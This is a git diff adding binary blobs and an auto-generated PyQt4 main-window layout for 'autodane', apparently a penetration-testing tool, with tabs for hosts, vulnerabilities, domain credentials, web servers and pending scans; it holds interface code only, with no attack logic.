ze#Nb|sj9i#5E&=Xk$P*0_o`c$ipVifm*>cqbb!o$EJO|eR*R;A*Bk71-r6*mZwsbp#^4CDs%$2&4w3G1#O#A!@( z-C~+o7d!0vGF}VVW=BxeX*Wj)EXvb-H=PT-e#q0OMlCQ78i|E&5>HL?O3IDY2dUin zpceW{ozc#{IpXezcxGwl*`is7Wc0Ii_dmp?Kh%~Z>BT0Vw#kjKUU8M49nlJ@^U?nj zDxXeP#a9##l}#+w+ICe|6c-g8+{!yqSl?7TOI+}gjQu}KhpHLpARID(NQ>Q}vzZ?J z*ogODqx{3bp}OQ<0nICN$8FSbqeC0Up?&F0QbU#PoTr9%pF`#9(2?1>OwAQ)u2OT2n(Nfq)ZC!v zCN;OHxlPR-YVJ~Vj~d$c&V4kz^td*ljf1t2o4(@HJ0fjFkqp$2fhUg~Ad_&ZLUolrRs6b1rNeg{6l1ykQ+V0Sy9JId|^kfb?&r%pgVLV2Oa7K#cdAm zW%+y!K`j`V__%RzDdl<_rj z0GB=)t*3iIr*cs6uZSRdO`Cp z@u|MUrE@vq#3kGwW$aAmph@oYcKC$eVP`5QoY=uVQ^wBu95k_WJqNwe3u@<}7kfc( z#q_FQ=F4q6<j$-_edq?tR-ygHmxuO2B)|A!BeucNz_H@{{PLw& zaZI!UjNN9+ZX3>SGrx_AM69fqY@+PozP4M5!Z@~PXKc;6DS~eEi*x@0@O;h&od9dk zT0o%8uM_#0_zf7n?%G7M?SwPO#D9p<+lJEH38#;Vvrz!{iXT@(96_4=XM}c7Q#(3P z;%Y3>Zb1@C%GBYD)3at5f z!i~XT3C!dcp2(xM9fzj=8#2qxx5Z02-M$^@7HOys;J9FficjU76#q2kZ@ z#Lv(Ot7tuJ`}b|zcN*7yYTIXu{gC88h?UFqa447g6jLtOL$6Uo*Le>BTWUG`tNE-$ z)~Lk!?|XyR$)6L`bObJ!SBtcj_$2(XxvmzN%Ii}cE%16t;V*c*EMks(&O?%*efCOW zcDteEn<&EWq?1a>XGAvYY!QwwF5+hFl&C|#xY6zx9(4~6^ifUUmFS}YJxm)uXFwkk z_QFH{B9CzBr3I8nvQqv(Bu4*9Qs?|TE>Su=O%?jUc1Nwz!qi_ztP!yM5$h!S!`8n6 Dh#}$p literal 0 HcmV?d00001 diff --git a/source/Ui_mainwindow.py b/source/Ui_mainwindow.py new file mode 100644 index 0000000..aec8b78 --- /dev/null +++ b/source/Ui_mainwindow.py @@ -0,0 +1,407 @@ +# -*- coding: utf-8 -*- + +# Form implementation generated from reading ui file '/root/autodane/source/mainwindow.ui' +# +# Created: Thu Oct 1 15:03:56 2015 +# by: PyQt4 UI code generator 4.9.3 +# +# WARNING! All changes made in this file will be lost! + +from PyQt4 import QtCore, QtGui + +try: + _fromUtf8 = QtCore.QString.fromUtf8 +except AttributeError: + _fromUtf8 = lambda s: s + +class Ui_MainWindow(object): + def setupUi(self, MainWindow): + MainWindow.setObjectName(_fromUtf8("MainWindow")) + MainWindow.resize(741, 477) + self.centralWidget = QtGui.QWidget(MainWindow) + self.centralWidget.setObjectName(_fromUtf8("centralWidget")) + self.gridLayout = QtGui.QGridLayout(self.centralWidget) + self.gridLayout.setObjectName(_fromUtf8("gridLayout")) + self.tabWidget = QtGui.QTabWidget(self.centralWidget) + self.tabWidget.setObjectName(_fromUtf8("tabWidget")) + self.tab = QtGui.QWidget() + self.tab.setObjectName(_fromUtf8("tab")) + self.gridLayout_2 = QtGui.QGridLayout(self.tab) + self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2")) + self.tvHosts = QtGui.QTreeView(self.tab) + self.tvHosts.setSortingEnabled(True) + self.tvHosts.setObjectName(_fromUtf8("tvHosts")) + self.gridLayout_2.addWidget(self.tvHosts, 0, 0, 1, 2) + self.tabWidget.addTab(self.tab, _fromUtf8("")) + self.tab_2 = QtGui.QWidget() + self.tab_2.setObjectName(_fromUtf8("tab_2")) + self.gridLayout_3 = QtGui.QGridLayout(self.tab_2) + self.gridLayout_3.setObjectName(_fromUtf8("gridLayout_3")) + self.tvVulns = QtGui.QTreeView(self.tab_2) + self.tvVulns.setSortingEnabled(True) + self.tvVulns.setObjectName(_fromUtf8("tvVulns")) + self.gridLayout_3.addWidget(self.tvVulns, 0, 0, 1, 2) + self.tabWidget.addTab(self.tab_2, _fromUtf8("")) + self.tab_3 = QtGui.QWidget() + self.tab_3.setObjectName(_fromUtf8("tab_3")) + self.gridLayout_4 = QtGui.QGridLayout(self.tab_3) + self.gridLayout_4.setObjectName(_fromUtf8("gridLayout_4")) + self.tblDomainCreds = QtGui.QTableWidget(self.tab_3) + self.tblDomainCreds.setObjectName(_fromUtf8("tblDomainCreds")) + self.tblDomainCreds.setColumnCount(7) + self.tblDomainCreds.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(1, item) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(2, item) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(3, item) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(4, item) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(5, item) + item = QtGui.QTableWidgetItem() + self.tblDomainCreds.setHorizontalHeaderItem(6, item) + self.gridLayout_4.addWidget(self.tblDomainCreds, 0, 0, 1, 2) + self.tabWidget.addTab(self.tab_3, _fromUtf8("")) + self.tab_5 = QtGui.QWidget() + self.tab_5.setObjectName(_fromUtf8("tab_5")) + self.gridLayout_6 = QtGui.QGridLayout(self.tab_5) + self.gridLayout_6.setObjectName(_fromUtf8("gridLayout_6")) + self.lblSummary = QtGui.QLabel(self.tab_5) + self.lblSummary.setObjectName(_fromUtf8("lblSummary")) + self.gridLayout_6.addWidget(self.lblSummary, 0, 0, 1, 2) + self.tblPortsSummary = QtGui.QTableWidget(self.tab_5) + self.tblPortsSummary.setObjectName(_fromUtf8("tblPortsSummary")) + self.tblPortsSummary.setColumnCount(2) + self.tblPortsSummary.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblPortsSummary.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblPortsSummary.setHorizontalHeaderItem(1, item) + self.gridLayout_6.addWidget(self.tblPortsSummary, 1, 0, 2, 1) + self.tblVulnsSummary = QtGui.QTableWidget(self.tab_5) + self.tblVulnsSummary.setObjectName(_fromUtf8("tblVulnsSummary")) + self.tblVulnsSummary.setColumnCount(2) + self.tblVulnsSummary.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblVulnsSummary.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblVulnsSummary.setHorizontalHeaderItem(1, item) + self.gridLayout_6.addWidget(self.tblVulnsSummary, 1, 1, 1, 1) + self.tblDomains = QtGui.QTableWidget(self.tab_5) + self.tblDomains.setObjectName(_fromUtf8("tblDomains")) + self.tblDomains.setColumnCount(1) + self.tblDomains.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblDomains.setHorizontalHeaderItem(0, item) + self.gridLayout_6.addWidget(self.tblDomains, 2, 1, 1, 1) + self.tabWidget.addTab(self.tab_5, _fromUtf8("")) + self.tab_6 = QtGui.QWidget() + self.tab_6.setObjectName(_fromUtf8("tab_6")) + self.gridLayout_7 = QtGui.QGridLayout(self.tab_6) + self.gridLayout_7.setObjectName(_fromUtf8("gridLayout_7")) + self.tblWebServers = QtGui.QTableWidget(self.tab_6) + self.tblWebServers.setObjectName(_fromUtf8("tblWebServers")) + self.tblWebServers.setColumnCount(5) + self.tblWebServers.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblWebServers.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblWebServers.setHorizontalHeaderItem(1, item) + item = QtGui.QTableWidgetItem() + self.tblWebServers.setHorizontalHeaderItem(2, item) + item = QtGui.QTableWidgetItem() + self.tblWebServers.setHorizontalHeaderItem(3, item) + item = QtGui.QTableWidgetItem() + self.tblWebServers.setHorizontalHeaderItem(4, item) + self.gridLayout_7.addWidget(self.tblWebServers, 0, 0, 1, 1) + self.tabWidget.addTab(self.tab_6, _fromUtf8("")) + self.tab_7 = QtGui.QWidget() + self.tab_7.setObjectName(_fromUtf8("tab_7")) + self.gridLayout_8 = QtGui.QGridLayout(self.tab_7) + self.gridLayout_8.setObjectName(_fromUtf8("gridLayout_8")) + self.tblPendingVulnScanning = QtGui.QTableWidget(self.tab_7) + self.tblPendingVulnScanning.setObjectName(_fromUtf8("tblPendingVulnScanning")) + self.tblPendingVulnScanning.setColumnCount(2) + self.tblPendingVulnScanning.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblPendingVulnScanning.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblPendingVulnScanning.setHorizontalHeaderItem(1, item) + self.gridLayout_8.addWidget(self.tblPendingVulnScanning, 1, 1, 1, 1) + self.label_2 = QtGui.QLabel(self.tab_7) + self.label_2.setObjectName(_fromUtf8("label_2")) + self.gridLayout_8.addWidget(self.label_2, 0, 1, 1, 1) + self.tblPendingFootprinting = QtGui.QTableWidget(self.tab_7) + self.tblPendingFootprinting.setObjectName(_fromUtf8("tblPendingFootprinting")) + self.tblPendingFootprinting.setColumnCount(2) + self.tblPendingFootprinting.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblPendingFootprinting.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblPendingFootprinting.setHorizontalHeaderItem(1, item) + self.gridLayout_8.addWidget(self.tblPendingFootprinting, 1, 0, 1, 1) + self.label = QtGui.QLabel(self.tab_7) + self.label.setObjectName(_fromUtf8("label")) + self.gridLayout_8.addWidget(self.label, 0, 0, 1, 1) + self.tabWidget.addTab(self.tab_7, _fromUtf8("")) + self.tab_4 = QtGui.QWidget() + self.tab_4.setObjectName(_fromUtf8("tab_4")) + self.gridLayout_5 = QtGui.QGridLayout(self.tab_4) + self.gridLayout_5.setObjectName(_fromUtf8("gridLayout_5")) + self.label_3 = QtGui.QLabel(self.tab_4) + self.label_3.setObjectName(_fromUtf8("label_3")) + self.gridLayout_5.addWidget(self.label_3, 0, 0, 1, 1) + self.label_4 = QtGui.QLabel(self.tab_4) + self.label_4.setObjectName(_fromUtf8("label_4")) + self.gridLayout_5.addWidget(self.label_4, 0, 1, 1, 1) + self.tblValidCreds = QtGui.QTableWidget(self.tab_4) + self.tblValidCreds.setObjectName(_fromUtf8("tblValidCreds")) + self.tblValidCreds.setColumnCount(5) + self.tblValidCreds.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblValidCreds.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblValidCreds.setHorizontalHeaderItem(1, item) + item = QtGui.QTableWidgetItem() + self.tblValidCreds.setHorizontalHeaderItem(2, item) + item = QtGui.QTableWidgetItem() + self.tblValidCreds.setHorizontalHeaderItem(3, item) + item = QtGui.QTableWidgetItem() + self.tblValidCreds.setHorizontalHeaderItem(4, item) + self.gridLayout_5.addWidget(self.tblValidCreds, 1, 0, 1, 1) + self.tblInvalidCreds = QtGui.QTableWidget(self.tab_4) + self.tblInvalidCreds.setObjectName(_fromUtf8("tblInvalidCreds")) + self.tblInvalidCreds.setColumnCount(5) + self.tblInvalidCreds.setRowCount(0) + item = QtGui.QTableWidgetItem() + self.tblInvalidCreds.setHorizontalHeaderItem(0, item) + item = QtGui.QTableWidgetItem() + self.tblInvalidCreds.setHorizontalHeaderItem(1, item) + item = QtGui.QTableWidgetItem() + self.tblInvalidCreds.setHorizontalHeaderItem(2, item) + item = QtGui.QTableWidgetItem() + self.tblInvalidCreds.setHorizontalHeaderItem(3, item) + item = QtGui.QTableWidgetItem() + self.tblInvalidCreds.setHorizontalHeaderItem(4, item) + self.gridLayout_5.addWidget(self.tblInvalidCreds, 1, 1, 1, 1) + self.tabWidget.addTab(self.tab_4, _fromUtf8("")) + self.tab_8 = QtGui.QWidget() + self.tab_8.setObjectName(_fromUtf8("tab_8")) + self.gridLayout_10 = QtGui.QGridLayout(self.tab_8) + self.gridLayout_10.setObjectName(_fromUtf8("gridLayout_10")) + self.verticalLayout = QtGui.QVBoxLayout() + self.verticalLayout.setObjectName(_fromUtf8("verticalLayout")) + self.label_7 = QtGui.QLabel(self.tab_8) + self.label_7.setObjectName(_fromUtf8("label_7")) + self.verticalLayout.addWidget(self.label_7) + self.label_5 = QtGui.QLabel(self.tab_8) + self.label_5.setObjectName(_fromUtf8("label_5")) + self.verticalLayout.addWidget(self.label_5) + self.label_6 = QtGui.QLabel(self.tab_8) + self.label_6.setObjectName(_fromUtf8("label_6")) + self.verticalLayout.addWidget(self.label_6) + self.label_9 = QtGui.QLabel(self.tab_8) + self.label_9.setText(_fromUtf8("")) + self.label_9.setObjectName(_fromUtf8("label_9")) + self.verticalLayout.addWidget(self.label_9) + self.horizontalLayout = QtGui.QHBoxLayout() + self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout")) + self.lblEmailIcon = QtGui.QLabel(self.tab_8) + self.lblEmailIcon.setMinimumSize(QtCore.QSize(0, 0)) + self.lblEmailIcon.setObjectName(_fromUtf8("lblEmailIcon")) + self.horizontalLayout.addWidget(self.lblEmailIcon) + self.label_8 = QtGui.QLabel(self.tab_8) + self.label_8.setObjectName(_fromUtf8("label_8")) + self.horizontalLayout.addWidget(self.label_8) + spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) + self.horizontalLayout.addItem(spacerItem) + self.verticalLayout.addLayout(self.horizontalLayout) + self.horizontalLayout_2 = QtGui.QHBoxLayout() + self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2")) + self.lblEmailIcon2 = QtGui.QLabel(self.tab_8) + self.lblEmailIcon2.setMinimumSize(QtCore.QSize(0, 0)) + self.lblEmailIcon2.setObjectName(_fromUtf8("lblEmailIcon2")) + self.horizontalLayout_2.addWidget(self.lblEmailIcon2) + self.label_13 = QtGui.QLabel(self.tab_8) + self.label_13.setObjectName(_fromUtf8("label_13")) + self.horizontalLayout_2.addWidget(self.label_13) + spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) + self.horizontalLayout_2.addItem(spacerItem1) + self.verticalLayout.addLayout(self.horizontalLayout_2) + self.horizontalLayout_3 = QtGui.QHBoxLayout() + self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3")) + self.lblSkypeLogo = QtGui.QLabel(self.tab_8) + self.lblSkypeLogo.setObjectName(_fromUtf8("lblSkypeLogo")) + self.horizontalLayout_3.addWidget(self.lblSkypeLogo) + self.label_10 = QtGui.QLabel(self.tab_8) + self.label_10.setObjectName(_fromUtf8("label_10")) + self.horizontalLayout_3.addWidget(self.label_10) + spacerItem2 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) + self.horizontalLayout_3.addItem(spacerItem2) + self.verticalLayout.addLayout(self.horizontalLayout_3) + spacerItem3 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) + self.verticalLayout.addItem(spacerItem3) + self.gridLayout_10.addLayout(self.verticalLayout, 0, 0, 1, 1) + spacerItem4 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum) + self.gridLayout_10.addItem(spacerItem4, 0, 1, 1, 1) + self.verticalLayout_2 = QtGui.QVBoxLayout() + self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2")) + self.frame = QtGui.QFrame(self.tab_8) + self.frame.setMinimumSize(QtCore.QSize(0, 0)) + self.frame.setFrameShape(QtGui.QFrame.StyledPanel) + self.frame.setFrameShadow(QtGui.QFrame.Raised) + self.frame.setObjectName(_fromUtf8("frame")) + self.gridLayout_9 = QtGui.QGridLayout(self.frame) + self.gridLayout_9.setObjectName(_fromUtf8("gridLayout_9")) + self.lblSensePostLogo = QtGui.QLabel(self.frame) + self.lblSensePostLogo.setMinimumSize(QtCore.QSize(300, 250)) + self.lblSensePostLogo.setObjectName(_fromUtf8("lblSensePostLogo")) + self.gridLayout_9.addWidget(self.lblSensePostLogo, 0, 0, 1, 1) + self.verticalLayout_2.addWidget(self.frame) + self.label_11 = QtGui.QLabel(self.tab_8) + self.label_11.setAlignment(QtCore.Qt.AlignCenter) + self.label_11.setObjectName(_fromUtf8("label_11")) + self.verticalLayout_2.addWidget(self.label_11) + spacerItem5 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding) + self.verticalLayout_2.addItem(spacerItem5) + self.gridLayout_10.addLayout(self.verticalLayout_2, 0, 2, 1, 1) + self.tabWidget.addTab(self.tab_8, _fromUtf8("")) + self.gridLayout.addWidget(self.tabWidget, 0, 0, 1, 5) + self.btnAddHost = QtGui.QPushButton(self.centralWidget) + self.btnAddHost.setObjectName(_fromUtf8("btnAddHost")) + self.gridLayout.addWidget(self.btnAddHost, 1, 0, 1, 1) + self.btnAddDomain = QtGui.QPushButton(self.centralWidget) + self.btnAddDomain.setObjectName(_fromUtf8("btnAddDomain")) + self.gridLayout.addWidget(self.btnAddDomain, 1, 1, 1, 1) + self.btnAddDomainCreds = QtGui.QPushButton(self.centralWidget) + self.btnAddDomainCreds.setObjectName(_fromUtf8("btnAddDomainCreds")) + self.gridLayout.addWidget(self.btnAddDomainCreds, 1, 2, 1, 1) + self.btnUpdateUI = QtGui.QPushButton(self.centralWidget) + self.btnUpdateUI.setObjectName(_fromUtf8("btnUpdateUI")) + self.gridLayout.addWidget(self.btnUpdateUI, 1, 3, 1, 1) + self.cbxUpdateUI = QtGui.QCheckBox(self.centralWidget) + self.cbxUpdateUI.setMinimumSize(QtCore.QSize(115, 0)) + self.cbxUpdateUI.setMaximumSize(QtCore.QSize(100, 16777215)) + self.cbxUpdateUI.setChecked(True) + self.cbxUpdateUI.setObjectName(_fromUtf8("cbxUpdateUI")) + self.gridLayout.addWidget(self.cbxUpdateUI, 1, 4, 1, 1) + MainWindow.setCentralWidget(self.centralWidget) + + self.retranslateUi(MainWindow) + self.tabWidget.setCurrentIndex(3) + QtCore.QMetaObject.connectSlotsByName(MainWindow) + + def retranslateUi(self, MainWindow): + MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "MainWindow", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Vulnerabilities", None, QtGui.QApplication.UnicodeUTF8)) + self.tblDomainCreds.setSortingEnabled(True) + item = self.tblDomainCreds.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Domain", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblDomainCreds.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Is DA", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblDomainCreds.horizontalHeaderItem(2) + item.setText(QtGui.QApplication.translate("MainWindow", "Username", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblDomainCreds.horizontalHeaderItem(3) + item.setText(QtGui.QApplication.translate("MainWindow", "Password", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblDomainCreds.horizontalHeaderItem(4) + item.setText(QtGui.QApplication.translate("MainWindow", "lm hash", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblDomainCreds.horizontalHeaderItem(5) + item.setText(QtGui.QApplication.translate("MainWindow", "ntlm hash", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblDomainCreds.horizontalHeaderItem(6) + item.setText(QtGui.QApplication.translate("MainWindow", "http ntlm hash", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_3), QtGui.QApplication.translate("MainWindow", "Domain Credentials", None, QtGui.QApplication.UnicodeUTF8)) + self.lblSummary.setText(QtGui.QApplication.translate("MainWindow", "Identified 0 hosts, 0 open ports, 0 shells", None, QtGui.QApplication.UnicodeUTF8)) + self.tblPortsSummary.setSortingEnabled(True) + item = self.tblPortsSummary.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Port", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblPortsSummary.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Number Found", None, QtGui.QApplication.UnicodeUTF8)) + self.tblVulnsSummary.setSortingEnabled(True) + item = self.tblVulnsSummary.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Vulnerability", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblVulnsSummary.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Number Found", None, QtGui.QApplication.UnicodeUTF8)) + self.tblDomains.setSortingEnabled(True) + item = self.tblDomains.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Domain", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_5), QtGui.QApplication.translate("MainWindow", "Summary", None, QtGui.QApplication.UnicodeUTF8)) + self.tblWebServers.setSortingEnabled(True) + item = self.tblWebServers.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "IP Address", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblWebServers.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Hostname", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblWebServers.horizontalHeaderItem(2) + item.setText(QtGui.QApplication.translate("MainWindow", "Port", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblWebServers.horizontalHeaderItem(3) + item.setText(QtGui.QApplication.translate("MainWindow", "URL", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblWebServers.horizontalHeaderItem(4) + item.setText(QtGui.QApplication.translate("MainWindow", "Title", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_6), QtGui.QApplication.translate("MainWindow", "Web Servers", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblPendingVulnScanning.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Port to check", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblPendingVulnScanning.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Count", None, QtGui.QApplication.UnicodeUTF8)) + self.label_2.setText(QtGui.QApplication.translate("MainWindow", "Pending Vuln Scanning", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblPendingFootprinting.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Work", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblPendingFootprinting.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Count", None, QtGui.QApplication.UnicodeUTF8)) + self.label.setText(QtGui.QApplication.translate("MainWindow", "Pending Footprinting", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_7), QtGui.QApplication.translate("MainWindow", "Pending Work", None, QtGui.QApplication.UnicodeUTF8)) + self.label_3.setText(QtGui.QApplication.translate("MainWindow", "Valid Creds", None, QtGui.QApplication.UnicodeUTF8)) + self.label_4.setText(QtGui.QApplication.translate("MainWindow", "Invalid Creds", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblValidCreds.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Host", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblValidCreds.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Host Name", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblValidCreds.horizontalHeaderItem(2) + item.setText(QtGui.QApplication.translate("MainWindow", "Domain", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblValidCreds.horizontalHeaderItem(3) + item.setText(QtGui.QApplication.translate("MainWindow", "Username", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblValidCreds.horizontalHeaderItem(4) + item.setText(QtGui.QApplication.translate("MainWindow", "Password", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblInvalidCreds.horizontalHeaderItem(0) + item.setText(QtGui.QApplication.translate("MainWindow", "Host", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblInvalidCreds.horizontalHeaderItem(1) + item.setText(QtGui.QApplication.translate("MainWindow", "Host Name", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblInvalidCreds.horizontalHeaderItem(2) + item.setText(QtGui.QApplication.translate("MainWindow", "Domain", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblInvalidCreds.horizontalHeaderItem(3) + item.setText(QtGui.QApplication.translate("MainWindow", "Username", None, QtGui.QApplication.UnicodeUTF8)) + item = self.tblInvalidCreds.horizontalHeaderItem(4) + item.setText(QtGui.QApplication.translate("MainWindow", "Password", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_4), QtGui.QApplication.translate("MainWindow", "Cred Map", None, QtGui.QApplication.UnicodeUTF8)) + self.label_7.setText(QtGui.QApplication.translate("MainWindow", "autodane v1.0", None, QtGui.QApplication.UnicodeUTF8)) + self.label_5.setText(QtGui.QApplication.translate("MainWindow", "Written by Dane Goodwin,", None, QtGui.QApplication.UnicodeUTF8)) + self.label_6.setText(QtGui.QApplication.translate("MainWindow", "Security Analyst at SensePost", None, QtGui.QApplication.UnicodeUTF8)) + self.lblEmailIcon.setText(QtGui.QApplication.translate("MainWindow", "emailicon", None, QtGui.QApplication.UnicodeUTF8)) + self.label_8.setText(QtGui.QApplication.translate("MainWindow", "Research@SensePost.com", None, QtGui.QApplication.UnicodeUTF8)) + self.lblEmailIcon2.setText(QtGui.QApplication.translate("MainWindow", "emailicon", None, QtGui.QApplication.UnicodeUTF8)) + self.label_13.setText(QtGui.QApplication.translate("MainWindow", "Dane@SensePost.com", None, QtGui.QApplication.UnicodeUTF8)) + self.lblSkypeLogo.setText(QtGui.QApplication.translate("MainWindow", "skypelogo", None, QtGui.QApplication.UnicodeUTF8)) + self.label_10.setText(QtGui.QApplication.translate("MainWindow", "dane_goodwin", None, QtGui.QApplication.UnicodeUTF8)) + self.lblSensePostLogo.setText(QtGui.QApplication.translate("MainWindow", "SP Logo", None, QtGui.QApplication.UnicodeUTF8)) + self.label_11.setText(QtGui.QApplication.translate("MainWindow", "SensePost.com", None, QtGui.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_8), QtGui.QApplication.translate("MainWindow", "About", None, QtGui.QApplication.UnicodeUTF8)) + self.btnAddHost.setText(QtGui.QApplication.translate("MainWindow", "Add Host", None, QtGui.QApplication.UnicodeUTF8)) + self.btnAddDomain.setText(QtGui.QApplication.translate("MainWindow", "Add Domain", None, QtGui.QApplication.UnicodeUTF8)) + self.btnAddDomainCreds.setText(QtGui.QApplication.translate("MainWindow", "Add Domain Creds", None, QtGui.QApplication.UnicodeUTF8)) + self.btnUpdateUI.setText(QtGui.QApplication.translate("MainWindow", "Update UI", None, QtGui.QApplication.UnicodeUTF8)) + self.cbxUpdateUI.setToolTip(QtGui.QApplication.translate("MainWindow", "Update the UI every second", None, QtGui.QApplication.UnicodeUTF8)) + self.cbxUpdateUI.setText(QtGui.QApplication.translate("MainWindow", "Continuously", None, QtGui.QApplication.UnicodeUTF8)) + + +if __name__ == "__main__": + import sys + app = QtGui.QApplication(sys.argv) + MainWindow = QtGui.QMainWindow() + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + MainWindow.show() + sys.exit(app.exec_()) + diff --git a/source/Ui_mainwindow.pyc b/source/Ui_mainwindow.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e3f25585b632b3d5faa533c22775a9573173c087 GIT binary patch literal 14327 zcmbVTTYD47mMxiEFgO?kP9O#Z7%IFIv_W*+88%y~P%VBY2>v(~PzR;zEBV6396_I=f^YW1%6zW*5-{QJz%tGWt* z4&eU>`1t>Y#=&n%HI>>asW&CHGoaoKsM6lBa!abQPc`{IR`^|qv({T%&GslUAWOu2`Zb3nZtP@Vr2BL`J;P`w#c?tp3> zQSP8>996%;=8%khPO&$~l>3=n!2Gak99Ql!@|5sjV}yhf znwd_!9n9F>pzYW#cY4bUX8d-yQ+H=Jz3PtbwLW+)r~P4icQ5!1?B6!+otk6cKSp_c zR4{}FtS`X&T3G8G<`2z1#K%8_#sw5WQwhccoF9U{Pg&~{TAlG7#)lzF6q}=n0`mnE zkSh@uBEunw<9DC>4YL}^d}0(t1YJGAwsFA7?Kg7dI~dYJ)Yy-TGPTQx;!N7~AcyGX5n(-ISdkz)I(m6DR1>leNf*iSxe9dVFhKOR zmBU7qqfj^;vO9x{zekjVlso|3K!*RvL*>MDNJJwH!zf0CW5no368BuwQ6Ot|6eooB zgkcr$K$1DpQADgKh4o}23iNdp!^R5TghCy~NeLl0iV?|->?lr&y;Da2aihPN2B%CE zqry6BSjA-%#TTKPFyJqx`=wz$VYJd~jGk5wRxp!P_s`IOqv|WB$=?QyhB4B99f)!` zO-7CskpXZK82}WK5p)q5aTk$+gC;XjAg8D6%i`%eRWMy=1(vf0*wY5s-gKSi5X@E2 